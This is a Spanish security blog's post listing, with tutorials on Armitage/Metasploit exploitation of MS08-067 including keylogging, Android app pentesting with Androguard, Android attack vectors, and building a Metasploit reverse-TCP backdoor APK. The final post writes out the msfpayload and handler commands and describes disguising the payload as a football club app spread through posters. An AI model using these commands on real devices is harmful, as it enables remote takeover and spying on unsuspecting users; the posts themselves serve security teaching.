GBWhatsApp para Android ¿Es seguro?

Hoy os traigo mi primer post a C43S4RS hablando de una App alternativa a WhatsApp. 

Todos sabemos que WhatsApp tiene muy pocas opciones de personalización y privacidad, así que mucha gente busca Apps alternativas para poder sentirse a gusto cuando chatea con sus amigos. Si buscamos por Google, encontramos una App llamada GBWhatsApp (sustituta de WhatsApp Plus).

La gente que usa esta App, normalmente busca más personalización en su apariencia, ya que puedes modificar absolutamente todo, desde colores y formas de las fotos a tamaños de los archivos que se pueden enviar.

También tienen más opciones de privacidad como vemos en la siguiente imagen:

 

Read More

Cómo usar Metasploit en Armitage desde 0 a modo colaborativo

Hoy vamos a explicar el potencial de Armitage, una interfaz gráfica sobre el conocido framework  de explotación Metasploit, la cual nos va a ayudar en nuestras auditorías, llegando al punto de poder colaborar al mismo tiempo con varios compañeros en nuestro Pentesting. Antes de nada comentar que vamos a usar una máquina atacante con una distribución Kali Linux 2.0 y otra máquina vulnerable Windows como víctima.

Configuración Inicial
Antes de nada vamos a configurar la máquina del atacante. Dado que Armitage trabaja sobre Metasploit y este a su vez trabaja con una base de datos Postgresql, lo primero que debemos hacer es levantar el servicio de la base de datos.

Ahora arrancamos Armitage, donde lo primero que nos pedirá es conectarse al servidor de Metasploit RPC, en caso de que no esté levantado nos preguntará si lo queremos levantar. Acto seguido pedirá los datos de conexión, donde introducimos los datos por defecto que podemos ver en la siguiente imagen.

Configuración por defecto

Primeros pasos

Una vez tenemos Armitage funcionando lo primero que se haría ahora sería escanear la red. Armitage incorpora una función para poder escanearla con Nmap. Para ello nos vamos a la pestaña Hosts → Nmap Scan y aquí elegiríamos el tipo de escaneo, en nuestro caso Intense Scan.

 Introducimos la dirección IP de la red y el CIDR (el nº de unos de la máscara).

Una vez finalice el escaneo podemos apreciar como salen los hosts de nuestra red.

Encontrado vulnerabilidades
Una vez tenemos el esquema de la red y los equipos que podemos encontrar, nos iremos uno por uno a escanear los posibles fallos de seguridad. Para ello le damos clic derecho sobre nuestro objetivo y seleccionamos Scan.

Una vez hecho esto, tendríamos que irnos a la pestaña Attacks → Find attacks.

Con esa funcionalidad conseguimos que se busquen los diferentes exploits que pueden afectar a los diferentes vectores de ataques encontrados en el escaneo. Vemos en la siguiente imagen como se van consultando al servicio de Metasploit.

Una vez terminado nos vamos a la máquina víctima y hacemos clic derecho para ver la opción Attack, donde encontramos las posibles exploits que pueden afectarle a nuestro objetivo.

En nuestro caso es una máquina XP con una vulnerabilidad muy conocida en el puerto 445 (MS08-067) que aunque parezca sorprendente sigue existiendo en muchas máquinas a día de hoy. Aquí os dejo referencias sobre la misma:

• http://www.cvedetails.com/cve/2008-4250
• https://technet.microsoft.com/library/security/ms08-067
• https://www.rapid7.com/db/modules/exploit/windows/smb/ms08_067_netapi

Atacando a la víctima

Ahora que ya tenemos varias ataques posibles podemos elegir el que queramos. Nosotros seleccionaremos el exploit a lanzar en Attack → smb → ms08_067_netapi. Una vez hecho esto debemos configurar las opciones del exploit como haríamos en la consola de Metasploit. 

¿Cómo sabemos que nuestro ataque ha funcionado? Podemos ver en la consola si las diferentes fases del exploit se han ejecutando correctamente y si hemos conseguido alguna sesión de meterpreter, shell... Aquellos equipos que sean comprometidos saldrán marcados como en la imagen.

Explotando el objetivo
Ahora ya tendríamos el control del equipo víctima y pasaríamos a la fase de explotación. Un consejo es crear varias sesiones de meterpreter sobre cada víctima previamente a la explotación por si alguna falla. En cuanto a la explotación en si sólo tendríamos que irnos a la sesión que queremos y elegir qué hacer. En la siguiente imagen vemos como podemos ejecutar un keylogger para ver que escribe la víctima Meterpreter1 → Explore → Log keystrokes.

Tenemos gran cantidad de posibilidades como explorar los archivos, tomar capturas de pantalla de lo que está viendo la víctima en cada momento o incluso obtener las contraseñas que hay almacenas en la RAM.

Modo colaborativo
Una funcionalidad muy interesante de Armitage es el modo colaborativo o lo que se conoce como multiplayer. Básicamente nos permite que varios usuarios compartan la información del pentest a través de la interfaz Armitage, para ello todos se conectan a la misma bbdd compartida en tiempo real, donde se almacenan los diferentes vulnerabilidades encontradas. Esto es muy útil en auditorías internas grandes ya que hace que sea mucho más fácil la coordinación entre el grupo de pentesters.

Además de ver que es lo que hace cada uno, podemos comunicarnos con los diferentes usuarios, así como ver los escaneos y máquinas vulneradas. 

¿Cómo usamos el modo multiplayer?

Básicamente en el modo multiplayer tenemos un Armitage en modo servidor y el resto en modo cliente (arquitectura Cliente-Servidor típica). Lo primero que tendremos que hacer para levantar el servidor es irnos a la carpeta de Armitage, que en Kali Linux está en /usr/share/armitage/ :

Y ahora tenemos que iniciar el archivo teamserver pasándole los parámetros de nuestra IP y la contraseña que queremos ponerle. En nuestro caso la IP es 192.168.0.107 y la contraseña wwh. En la siguiente imagen vemos el resultado de la ejecución así como los parámetros que necesitarán el resto de compañeros para conectarse al servidor.

Ahora ejecutamos Armitage desde los diferentes clientes, tanto desde nuestra máquina como desde las del resto de compañero de equipo. Se puede apreciar en la imagen anterior la IP de la máquina donde está el servicio, el puerto, usuario, contraseña y el Fingerprint del servidor. Una vez ejecutado nos pedirá los parámetros de configuración del servidor de los que hablábamos.

Si las credenciales son válidas nos saldrá lo siguiente:

El Fingerprint del servidor del equipo debe ser el mismo, sino estaríamos conectando a uno diferente. Nos pedirá acto seguido nuestro nick para poder hablar con el resto de compañeros:

En la siguiente imagen vemos en el Log de Eventos de Armitage los diferentes usuarios conectados y lo que están haciendo en cada momento. En la imagen vemos como un usuario ha lanzado un escaneo y todos los usuarios verán los resultados. Los avances que lleven a cabo todo el equipo serán compartidos por todos.

Bueno pues esto ha sido todo, espero que os haya gustado la herramienta. Para el que no me conozca me llamo Rafa Sojo, soy estudiante de "Sistemas Microinformáticos y Redes" y me encanta la seguridad. Os dejo mi twitter por si queréis contactar conmigo.

Un saludo.

@RaSr98

Read More

Hack & Beers - Disfrutando de lo que nos gusta !!

Impresionante la jornada de Hack & Beers Vol. 3 Web Security del pasado Miércoles 30 de Julio en las instalaciones de Cosfera, donde se congregaron un gran número de personas aún siendo período vacacional, más las que nos siguieron a través de streaming.

El evento tenía un gran atractivo, charlas de Hacking en un ambiente distendido y de buen rollo, para después pasar un rato de convivencia con unas cervecitas en la mano. Todo ello rodeado de gente entregada y con los mismos intereses profesionales.

Comenzó la sesión con la primera charla a cargo de Carlos García (@ciyinet) con "Auditando CSRF". Carlos nos mostró un ejemplo de esta vulnerabilidad haciendo uso un chat de una Web donde había varias sesiones de usuarios, para ello uso la herramienta Burpsuite. Vimos el alcance que tiene así como las posibles soluciones para que nuestra Web no se vea afectada por ella.

Podéis ver en el siguiente enlace la charla: "Auditando CSRF"

En la segunda charla de "SQLi y Backdoors para Script Kiddies" a cargo de un servidor, Eduardo Sánchez (@eduSatoe) explicó con una Web, donde se logueaban usuarios, como funciona la vulnerabilidad que está en el número uno del top ten de OWASP (SQL injection) y lo fácil que una persona sin conocimientos y con una simple aplicación en su PC (sqlmap) o en su Android (DroidSQLi) puede aprovecharse de ella. Además se hizo uso de un backdoor muy conocido como es c99 para aprovecharse de vulnerabilidades RFI (Remote File Inclusion).

Podéis ver en el siguiente enlace la charla: "SQLi y Backdoors para Script Kiddies"
También podéis descargar el pdf de la charla, así como el código fuente y la bd de la Web vulnerable utilizada como ejemplo:

• Documento PDF: Hack & Beers Vol3 - SQLi y Backdoor para Script Kiddies.pdf
• Código fuente: Web HB3 Vulnerable.rar

La última charla a cargo de Miguel Ángel Arroyo (@Miguel_Arroyo76) , trato sobre la seguridad en los servidores de almacenamiento en la nube. Con el nombre de "Lo que el ojo no ve" nos enseñó como existen servidores de "primera división" y otros de "segunda división", o lo que es lo mismo, pudimos comprobar la seguridad entre servidores dedicados y servidores compartidos.

Podéis ver en el siguiente enlace la charla: "Lo que el ojo no ve"

Una vez terminadas las charlas y las correspondientes preguntas en cada una de ellas pasamos a la segunda parte del evento, las beers, donde pasamos un buen rato de convivencia con una beer en la mano bien fresquita como podemos ver en la foto.

El equipo de Hack & Beers quiere agradecer el interés de todos los asistentes, ya que teníamos gente no sólo de Córdoba y provincia, sino también de Jaén, Granada e incluso de Francia, que aprovechando las vacaciones en Sevilla se habían desplazado para disfrutar del evento. Mucha gente también a través de streaming: Galicia, Pais Vasco, Madrid, Barcelona, Valencia y Colombia entre otros. Mil gracias también a los amigos de Cosfera, que siempre se vuelcan con nosotros en estos eventos y son uno más del grupo.

Por último anunciaros que en Hack & Beers crecemos, ya no sólo tendremos ponencias y charlas interesantes en Córdoba sino también en Madrid y Barcelona de la mano de personas tan importantes en este mundillo como Pablo Gonzalez y Juan Antonio Calles de Flu Project (Madrid) y Marc Rivero López de SysSec (Barcelona), próximamente anunciaremos novedades en twitter @hackandbeers.

Un handshake para todos

Seguiremos disfrutando de lo que nos gusta con muchos más Hack & Beers !!

Read More

Pentesting en Android - Parte 1: Rajando al Androide con Santoku

A continuación vamos a describir el proceso de Pentesting de una aplicación en Android para lo cual vamos a hacer uso de una serie de herramientas contenidas dentro de una distribucción de pentesting para Android especializada en análisis forense llamada Santoku (nombre de un tipo de cuchillo japonés). Los pasos a seguir en dicho proceso son los siguientes:

A. PROFILING

En esta primera fase tratamos de obtener toda la información posible de la aplicación tratandola como una caja negra (Black Box), es decir, sin tener conocimiento alguno de que es lo que hace la aplicación ni como está implementada. Debemos obtener información sobre:

1. El desarrollador de la aplicación: ¿quién es? ¿qué tipo de aplicaciones ha desarrollado? 
2. Dependencias del código: ¿qué recursos necesita? ¿podemos saberlo de primera hora en la ficha de la app? En el apartado de permisos podemos ver si necesita acceso para escribir en la tarjeta externa o si necesita acceder a la posición GPS, etc.
3. Otras aplicaciones del mismo desarrollador, para así analizar su código y encontrar posibles similitudes.
4. Permisos que solicita la aplicación.

Con esta información podemos sacar en claro el tipo de aplicación que estamos tratando y si es sospechosa de tener algún tipo de malware, greyware... ya que si solicita muchos permisos sospechosos para la funcionalidad de la aplicación o el desarrollador no tiene buena reputación, podemos inferir muchas cosas.

Para llevar a cabo esta fase nos valemos de la información que podemos encontrar en Play Store o en la Web (caso que la tenga) del desarrollador, así como en foros con buena reputación. En este punto no ha hecho falta aún que instalemos la aplicación.

Para llevar a cabo todo el proceso de pentesting hemos cogido una aplicación que lleva poco tiempo en Play Store pero que está teniendo numerosas descargas, ya que es de un local de moda de la zona.Vamos pues a buscar toda la información que podamos.

Desarrollador

En Play Store justo debajo del nombre de la app vemos el nombre del desarrollador y buscando por Internet vemos que es una empresa dedicada a la programación con aproximadamente un año de experiencia y afincada en la Costa del Sol.

Otras Apps

En la siguiente imagen podemos ver otras aplicaciones que ha desarrollado, las cuales son similares a las de la app objetivo, todas tratan sobre creación de eventos e informar a los usuarios que tienen la app instalada, lo cual hace pensar que haya mucho código  fuente común.

Permisos

En la ficha de la app vemos los permiso que supuestamente solicita, más adelante comprobaremos estos requisitos cuando analicemos la apk. Lo que resulta sorprendente que una app que se supone tan sólo sirve como reclamo publicitario, necesite saber nuestra posición por medio del GPS o conocer el número con el que hablo e incluso poder activar el micrófono.

Recordad que en esta fase tan sólo estamos obteniendo información de fuentes públicas, sin necesidad de instalarnos la aplicación, es semejante a la entrada que publicamos hace unos meses sobre obtener información de una dominio al que queremos hacer un pentesting (Analizando objetivos sin hacer ruido) pero en nuestro caso es una aplicación Android.

B. ANÁLISIS ESTÁTICO

En esta fase vamos a analizar el código fuente por medio de ingeniería inversa, para ello usaremos, entre otras herramientas, la herramienta apktool que ya vimos en una entrada anterior (Ingeniería Inversa de una APK maliciosa). Una vez hecho esto obtendremos posibles direcciones URI no modificables,  posibles errores en la lógica de la aplicación e incluso podríamos encontrar usuarios o claves dentro del código que los desarrolladores en la fase de testeo han olvidado eliminar.

Analizaremos los permisos que nos solicita la app, de manera que compararemos los permisos con los vistos en la etapa de Profiling. Para ello vamos a usar el paquete de herramientas Androguard, concretamente androlyze.py.

En esta fase utilizaremos la APK pero sin llegar a instalarla, para ello vamos a descargarnos la aplicación desde el PC sin necesidad de instalarla desde el Play Store. Utilizaremos por la siguiente dirección Web (http://directapks.com) e indicaremos el nombre del paquete de la aplicación que podemos ver en la URL de Play Store de la app. De esta forma se nos descarga la APK a analizar.

Una vez descargada la APK vamos a irnos a nuestra distribucción de pentesting para Android especializada en análisis forense llamada Santoku (nombre de un tipo de cuchillo japonés) y empezaremos todo el proceso.

Búsqueda de URI

Descomprimimos la APK con apktool como ya vimos en la entrada de Ingeniería Inversa a una APK maliciosa y nos disponemos a buscar direcciones interesantes dentro de todos los ficheros de código de la carpeta descomprimida de la APK.

Para la búsqueda usamos el comando grep haciendo uso de expresiones regulares y eliminando aquellas referencias a direcciones conocidas de la librería de Android: 

grep -Eir "https://?" carpetaAPK | grep -v "schemas.android.com"

En la imagen anterior podemos ver algunas de las direcciones de acceso de la aplicación, como vemos son accesos a apis de google y otras apis de otra dirección. Con un poquito de imaginación podríamos hacer muchas cosas más como buscar acceso a URL http o buscar vulnerabilidades de los sitios a los que accede, etc.

Análisis de Permisos

El siguiente paso será analizar los permisos de la aplicación, para ello ejecutaremos el framework Androguard. El echo de utilizar este framework es porque es una herramienta aún más potente que las utilizadas anteriormente.

Pues bien, nos vamos a la carpeta de Androguard dentro de Santoku y vamos a utilizar la herramienta Androlyze, para ello ejecutamos: python androlyze.py -s y se nos abrirá la interfaz de comandos, donde pondremos lo siguiente:

  a,d,dx=AnalyzeAPK("/ruta/nombrePaquete.apk", decompiler="dad") 

Este comando destripa topa la APK y nos devuelve tres objetos para poder trabajar con ellos.

• a: objeto que representa a la aplicación (APK).
• d: objeto que representa al fichero classes.dex (DalvikVMFormat), que son las clases de la aplicación en formato de la máquina virtual Davilk.
• dx: objeto que tiene un análisis del fichero classes.dex (VMAnalysis).

Una vez destripada la APK tan sólo tenemos que utilizar los cientos de posibilidades de esta para obtener información. Vamos a ver algunos ejemplos:

   a. Obtener información general de la APK: a.show() donde podemos encontrar los siguientes apartado:

• FILES: ficheros de recursos de la aplicación
• PERMISSIONS: permisos de la aplicación junto con su descripción y la gravedad del mismo.
• MAIN ACTIVITY: actividad principal de la APK.
• ACTIVITIES: resto de actividades de la aplicación.
• SERVICES: servicios de la aplicación.
• RECEIVERS: recibidores de la aplicación que sirven para recibir intenciones del sistema o de otras aplicaciones, de manera que haya intercambio de información
• PROVIDERS: proveedores de la aplicación donde almacenar información.

La salida que nos da de los permisos es muy útil porque nos informa de los peligros de estos como vemos a continuación.

Vemos en rojo aquellos permisos que podrían comprometer nuestro teléfono junto con la descripción del mismo. En azúl la actividad principal, aunque también la podemos obtener mediante a.get_main_activity(). Y por último vemos en amarillo el nombre de un servicio que no sabemos para que puede usarse y sería objeto de análisis.

   b. Obtener sólo permisos de la APK: a.get_permissions()

c. Podemos subir un escalón más y ver las clases y métodos que utilizan cada uno de los permisos: show_Permissions(dx)

En la imagen vemos una parte de las clases y métodos que utilizan el permiso de localización GPS (ver color rojo). Cada una de las líneas resultantes muestran los siguientes datos según colores:

• Clase donde se utiliza el permiso, de color azúl - LocationHub
• Método dentro de la clase, de color verde - getLastKnowLocation
• Dentro del método anterior debe haber una instancia del objeto de la clase de color amarillo - LocationManager
• Y por último la llamada a un método del objeto anterior que realmente es quien utiliza el permiso, de color naranja - getLastKnownLocation

Ahora sólo toca analizar estos métodos y ver si hay algún posible error o cosa rara. Para ver el código JAVA seleccionamos CLASS y METHOD comentados anteriormente. Ahora buscamos objeto y método que utilizan el permiso dentro del código java correspondiente tal como vemos en la siguiente imagen. Hemos hecho uso de source() una vez elegida la clase y el método.

Nota importante: Para poder ver el código java hay que usar en la función AnalyzeAPK el decompiler "dad", sino nos dará error.

Si quisiéramos saber desde donde se llama a este método y a quien llama este método, tan sólo pondríamos lo mismo pero en vez de source, ponemos pretty_show() y al final aparecerán con T los métodos desde donde se llama y con F los métodos a los que llama.

Podríamos seguir analizando código fuente sin parar y aprovechar al máximo las posibilidades de Androguard, pero creo que ya os hacéis una idea de la potencia del framework. Aquí os dejo enlaces relacionados con Androguard donde podéis encontrar muchas más herramientas y posibilidades:

• Proyecto Androguard
• Comunidad Androguard 
• Blog de Androguard 

TO BE CONTINUED...

Pues bien, hasta aquí las dos primeras fases del pentesting de una aplicación en Android, espero que lo encontréis interesante tanto como yo y que os pongáis manos a la obra a probar vuestras APKs.

Un handshake de @eduSatoe !!

"Si todo parece estar yendo bien, obviamente has pasado algo por alto"

Anónimo

Read More

Puntos débiles de Android - Vectores de Ataque

El hecho de que hoy día seamos casi tantas personas en el mundo - 7,100 millones - como dispositivos móviles - 6,800 millones - hace que nos debamos preocupar por la seguridad de los mismos. Actualmente la previsión que existe de crecimiento en los terminales Android en 2014 es de un 23,1% más que en 2013, en detrimento de IOS con un 14,8% menos que 2013 (ver noticia). Es por ello que nos interesemos por cuáles son los puntos débiles que podemos encontrar en las aplicaciones androides.

LOS PERMISOS DE LAS APLICACIONES

A la hora de utilizar permisos en las aplicaciones Android, los desarrolladores incurren en dos situaciones:

1. Undergranting o proceso por el cual un desarrollador no asigna los permisos necesarios a una aplicación. Este hecho provocará que una aplicación no testeada de fallos en tiempo de ejecución, provocando una SecurityException, lo cual hace que caiga la reputación de una aplicación. 
2. Overgranting o proceso por el cual un desarrollador asigna más permisos de la cuenta a una aplicación. Este hecho es más grave aún que el anterior, ya que podría darse el caso de explotación de dicho permisos por una aplicación maliciosa, pudiendo incluso escalar privilegios en el sistema.

Ya hemos visto en entradas anteriores donde podemos encontrar todos los permisos que utiliza una aplicación, en el fichero AndroidManifest.xml y herramientas que nos detectan posibles inseguridades en este fichero, como Manitree (ver Auditoria de Aplicaciones Android). Más adelante veremos como obtener con Androguard el lugar donde se utilizan cada uno de los permisos, de manera que podamos examinar el código fuente y determinar si un permiso está bien otorgado o no. 

TRANSMISIÓN INSEGURA DE DATOS SENSIBLES

Otro tema a tener en cuenta es la transmisión de los datos de la aplicación por medio de SSL o TLS, pero la mayoría de desarrolladores no le dan importancia a esto y dejan la seguridad a la transmisión "segura" del operador de telefonía. Es por ello que nos encontramos con los siguientes casos:

1. Falta de cifrado o cifrado débil.
2. Cifrado fuerte, pero por falta de atención en las advertencias de seguridad o errores del certificado hacen que los usuarios no sean capaces de resolver el problema.
3. Uso de texto plano tras fracasar en el cifrado de los datos.
4. Confiar ciegamente en la "seguridad" que nos otorga según qué tipo de red (Wi-fi o celdas del operador)

La mayoría de estas situaciones provocan que se puedan dar ataques del tipo Man In The Middle (MITM), de manera que un atacante se sitúe en mitad de la comunicación y pueda captar toda la información transmitida. Exiten en el mercado muchas herramientas para llevar a cabo un ataque MITM (Cain&Abel, Ettercap, arpspoof...) y después escuchar todo lo que se habla en ella con un sniffer de paquetes como Wireshark.

Un ejemplo de transmisión insegura fue la implementación del protocolo de autenticación de Google ClientLogin en las versiones de Android 2.1 a la 2.3.4. El protocolo lo que hacía era pedir un token de autenticación para la cuenta de usuario de Google, de manera que este sirviera para autenticarse en servicios determinados de Google. Pues bien, investigadores de la Universidad de Ulm descubrieron que dicho token se enviaba a través de HTTP en texto plano en las aplicaciones de Calendario y Contactos de Android 2.1 a la 2.3 y en el servicio de sincronización de Picasa de Android 2.3.4, lo cual permitiría a un atacante que capturase el token, llevar a cabo una suplantación de identidad (ver más sobre la captura del token de Google).

ALMACENAMIENTO INSEGURO DE LOS DATOS

Dentro del sistema operativo Android existen muchas posibilidades a la hora de almacenar la información: fichero de preferencias shared_preferences, bases de datos SQLite o ficheros de texto plano. Las maneras de acceso a estos almacenes de información pueden ser varias: desde el propio código fuente de la aplicación, desde código nativo del propio sistema operativo, desde un Content Provider que de servicio a otra aplicación para acceder a los datos...

Los errores que se suelen cometer son los siguientes:

1. Almacenar datos sensibles en ficheros de texto plano.
2. Desproteger los Content Provider, de tal forma que se permita el acceso desde cualquier aplicación.
3. Otorgar permisos inseguros a los archivos, de tal forma que puedan acceder otros usuarios que no sean la propia aplicación.

Un ejemplo de este almacenamiento inseguro se descubrió en Abril de 2011 en la aplicación Skype, la cual hacía uso de código nativo de Android para la creación de sus ficheros de preferecias, bases de datos y texto plano, con el problema de que el sistema le estaba asignando permisos 666 (lectura y escritura) para todos estos ficheros, lo cual exponía toda nuestra información de Skype: nombres, números de teléfono, llamadas, etc. (ver más sobre el caso de Skype)

FUGA DE INFORMACIÓN ALMACENADA EN LOGS

A través de los depuradores de código podemos obtener gran cantidad de información, desde credenciales de acceso hasta otros datos sensibles. Aquellas aplicaciones que tengan activado el READ_LOGS nos permite leer a bajo nivel los logs de dicha aplicación, o lo que es lo mismo, los registros de la misma. Es por ello que podemos hacer uso de la herramienta logcat que incorpora Android Debug Bridge (ADB) y obtener información sensible de la aplicación. Aquí os dejo un vídeo de como hacer uso de la misma (ver vídeo), así como información de los parámetros que utiliza desde línea de comandos (ver docs).

El permiso READ_LOGS ya no está disponible a partir de Android 4.1, sin embargo en versiones anteriores si. Un ejemplo de fuga de información por medio de registros fue el descubierto en la aplicación Firefox para Android en Diciembre de 2012, la cual registraba toda la actividad de navegación: URL visitadas e incluso identificadores de sesión, con lo que eso significa, pudiendo un atacante hacer un secuestro de sesión con esos datos.

COMUNICACIÓN ENTRE PROCESOS DE MANERA INSEGURA

Existe gran cantidad de comunicación entre procesos de equipos (conocida como IPC Endpoints): Servicios, Actividades, BroadcastReceivers o Content Providers. La protección en la comunicación en estos casos se lleva a cabo por medio de permisos que se establecen de un punto a otro de la comunicación, pero puede que nos encontremos con estos problemas:

1. A través de un Content Provider se pueden dar ataques de inyección de código o directorio trasversal, de tal forma que accedamos a lugares no permitidos.
2. Las actividades pueden verse comprometidas por código o apps maliciosas y poder acceder a la comunicación IPC.
3. Los BroadCastReceiver se encargan de escuchar intenciones implícitas, estos pueden ser vulnerables si contienen el atributo intent-filter igual a "not unique just to Broadcast Receivers" o lo que es lo mismo, que si por ejemplo llega un SMS (intención implícita) otra app puede leer dicha info aunque ese mensaje fuera para mi, ya que con ese atributo y su valor, cualquier otro Broadcast Reveivers puede leer la información.

Un ejemplo de explotación de un IPC fue el descubierto por sh4ka en la app Samsung Kies en el Galaxy S3, la cual tiene privilegios elevados. Dicha aplicación tenía un Broadcast Receivers que se utilizaba para restaurar las APKs desde la carpeta /sdcard/restore/, pues bien, aprovechando esto, sh4ka consiguió poder instalar cualquier aplicación sin permisos (puedes encontrar más información al respecto en su Web).

Pues bien, hasta aquí ya hemos visto los puntos a tener en cuenta a la hora de analizar una aplicación en Android, los cuales pueden hacer que se comprometa la seguridad de nuestro sistema y exponer nuestros datos.

Espero que les haya resultado interesante y les sirva !!

Un handshake

@eduSatoe

"Es una locura seguir haciendo lo mismo y esperar resultados diferentes"

Albert Einstein

Read More

Ingeniería Inversa a una APK maliciosa

Muy grande la jornada que echamos en la Hack & Beers Vol.2 sobre Mobile Security con muchos amigos. Agradeceros a todos, asistentes y compañeros de charlas, vuestras aportaciones e interés. Pues bien, siguiendo con la charla de seguridad de Android y viendo qué tan fácil es hacerle la ingeniería inversa a una APK de Android, nosotros vamos a ir un poco más allá y vamos a obtener el código fuente de un APK maliciosa creada por Metaesploit, así que vamos manos a la obra.

Antes de nada os muestro lo que sería el supuesto escenario de ataque de manera visual para que lo entendáis mejor:

CREANDO UNA APK MALICIOSA

Vamos a crear una APK para Android maliciosa, para ello lo haremos desde Kali Linux, haciendo uso de las herramientas del framework Metasploit. Desde consola vamos a usar el comando msfpayload para inyectar un payload dentro de la APK.

Primero vemos los payload disponibles para Android:

Vamos a seleccionar un payload que nos devuelva una sesión de meterpreter y que sea del tipo reverse_tcp. Para ello ponemos el siguiente comando:

msfpayload android/meterpreter/reverse_tcp LHOST=192.168.0.5 LPORT=4444 R > backdoor.apk

Además también hemos configurando el equipo al que se conecta (LHOST) y el puerto de conexón (LPORT), para inyectarlo en la aplicación maliciosa.

De esta manera cualquier usuario que se instale la APK (backdoor.apk) va a lanzar una sesión de meterpreter a la máquina 192.168.1.10 que estará escuchando en el puerto 4444 (ver el escenario de ataque). Para que la máquina con Metasploit esté escuchando debemos hacer uso del exploit/multi/handler con el payload android/meterpreter/reverse_tcp y configurarlo con los parámetros con los cuales creamos la aplicación maliciosa. 

msfcli exploit/multi/handler PAYLOAD=android/meterpreter/reverse_tcp LHOST=192.168.0.5 LPORT=4444 E

Pero el objetivo de hoy no es compromenter el terminal, sino obtener el código de dicha aplicación maliciosa para analizarlo.

INGENIERÍA INVERSA DE LA APK

Una vez que tenemos la backdoor.apk vamos a seguir los siguientes pasos, haciendo uso de herramientas (apktool, dex2jar y jd-gui) que ya nombramos en entradas anteriores:

Obtención del fichero de manifiesto:

1. Desempaquetamos la APK con la aplicación apktool "apktool d backdoor.apk" y se nos crea una carpeta con con varias carpetas y ficheros. Dentro podemos encontrar, entre otras cosas, nuestro tan famoso fichero de manifiesto AndroidManifest.xml.

Obtención de los ficheros JAVA:

1. Renombramos la APK como backdoor.zip y descomprimimos dicho paquete en una carpeta que llamaremos backdoor-zip. El fichero que más nos interesa es el classes.dex, donde tendremos las clases de la aplicación en formato dex (código para la Dalvik VM).
2. Incluimos dentro de esta misma carpeta todos los ficheros del paquete dex2jar y ejecutamos el comando "dex2jar classes.dex". Obtendremos por tanto el fichero classes_dex2jar.jar, donde tenemos las clases de la aplicación en formato jar.
3. Por último cogemos el fichero jar y los abrimos con la aplicación jd-gui. Podemos ver todas las clases de la aplicación en formato java. Ahora pulsamos sobre File > Save All Sources y grabamos dichos ficheros en la carpeta que indiquemos, obtenemos el paquete classes_dex2jar.src.zip con todas las clases 

ANALIZANDO CÓDIGO

Primeramente vamos a analizar el archivo de manifiesto AndroidManifest.xml.

Permisos que solicita:

• android.permission.INTERNET: Permite a las aplicaciones abrir sockets de red.
• android.permission.ACCESS_NETWORK_STATE: Permite que las aplicaciones accedan a información sobre redes.
• android.permission.ACCESS_COURSE_LOCATION: Permite que una aplicación acceda a la ubicación aproximada derivado de las fuentes de ubicación de red, tales como torres de telefonía móvil y Wi-Fi.
• android.permission.ACCESS_FINE_LOCATION: Permite que una aplicación acceda a la ubicación precisa de fuentes de localización como GPS, antenas de telefonía móvil y Wi-Fi.
• android.permission.READ_PHONE_STATE: Permite acceso al estado del teléfono 
• android.permission.SEND_SMS: Permite que una aplicación envíe mensajes SMS.
• android.permission.RECEIVE_SMS: Permite que una aplicación reciba mensajes SMS.
• android.permission.RECORD_AUDIO: Permite que una aplicación para grabar audio
• android.permission.CALL_PHONE: Permite que una aplicación para iniciar una llamada de teléfono sin tener que pasar a través de la interfaz de usuario del sintonizador para el usuario para confirmar la llamada de ser colocado.
• android.permission.READ_CONTACTS: Permite que una aplicación lea los datos de Contactos del usuario.
• android.permission.WRITE_CONTACTS: Permite que una aplicación escriba en los datos de Contactos del usuario.
• android.permission.WRITE_SETTINGS: Permite que una aplicación leer o escribir la configuración del sistema.
• android.permission.CAMERA: Acceso a todas las funciones de la cámara.

Si vemos detenidamente todos los procesos, podemos hacer casi cualquier cosa con estos permisos, y sobre todo de manera remota, ya que tenemos permiso para abrir socket y cambiar configuración de sistema. Podemos hacer llamadas a números de tarificación especial, obtención de fotografías en vivo, venta de contactos a terceros, grabar las coversaciones, localizar a la persona por su posición GPS y un largo etc. 

Otra información interesanse que podemos encontrar es la siguiente:

• android:name=".MainActivity": Es la clase principal desde donde se carga el LAUNCHER de la actividad principal, es decir, cuando arranca la aplicación es la clase que tiene el hilo principal de ejecución. Muy importante a la hora de que analicemos el código y saber desde donde empezar.
•  android:theme="@android:style/Theme.NoDisplay": Es el estilo que va a utilizar la actividad principal, que en este caso se trata de un estilo especial que no contiene interfaz de usuario. Por tanto nuestro código simplemente se va a ejecutar y no nos va a mostrar nada en pantalla, eso si, en memoria si va a estar presente.

Pasamos ahora a analizar los archivos .JAVA encontrados en el classes_dex2jar.src.zip:

Si controlamos algo de temas de programación en Android, a simple vista podemos identificar la función de cada fichero de código:

• MainActivity.java: clase principal de la aplicación, ya que lo vimos en el manifiesto.
• BuildConfig.java: clase con información de configuración a la hora de desarrollar la apk.
• R.java: clase que se crea automáticamente en cualquier aplicación apk, donde se asigna un identificador numérico a cada uno de los recursos utilizados en la aplicación.
• Payload.java y PayloadTrusManage.java: son clases propias del proyecto en si, que ahora pasaremos a analizar.

Vemos el MainActivity de la backdoor:

Podemos encontrar que nada más crearse la actividad principal (método onCreate) y llamar al constructor de la clase (super.onCreate), lo siguiente que hace es llamar a un método de clase de la clase Payload, para posteriormente finalizar la ejecución (finish). Seguramente en este método de clase se lance otro hilo de ejecución, ya que el hilo principal muere con el finish. Vamos a ver la clase Payload:

Para empezar vemos en el código que hay gran cantidad de librerías importadas que nos dan mucho juego como manejadores (Handler), entrada y salida de datos (DataInputStream y DataOutputStream), entrada y salida de ficheros (File y FileOutputStream), socket (Socket), conexiones https (HttpsURLConnection), etc.

Si seguimos viendo código, en la declaración de atributos de la clase Payload vemos dos atributos bastante interesantes: LHOST y LPORT, que no son sino la dirección IP y el puerto de conexión de nuestra máquina donde estará escuchando Metasploit. Vemos que forman parte de unas cadenas con más caracteres, de manera que un analizador de código no pueda identificar fácilmente una dirección IP o puerto. 

UTILIZANDO EL CÓDIGO Y UN POQUITO DE INGENIERÍA SOCIAL

Podíamos seguir analizando el código fuente paso a paso y obtener funciones como reverseTCP, reverseHTTP, startReverseConn, etc. Pero en vez de eso, hemos creado una aplicación del Córdoba C.F., aprovechando que somos equipo de primera, y le hemos inyectado el código del Payload analizado. 

Esto lo podría utilizar una persona con malas intenciones y ahora sólo tendría que echar la imaginación a volar y utilizar la Ingeniería Social para divulgar la APK maliciosa, como por ejemplo colgar este cartel en los alrededores del estadio.

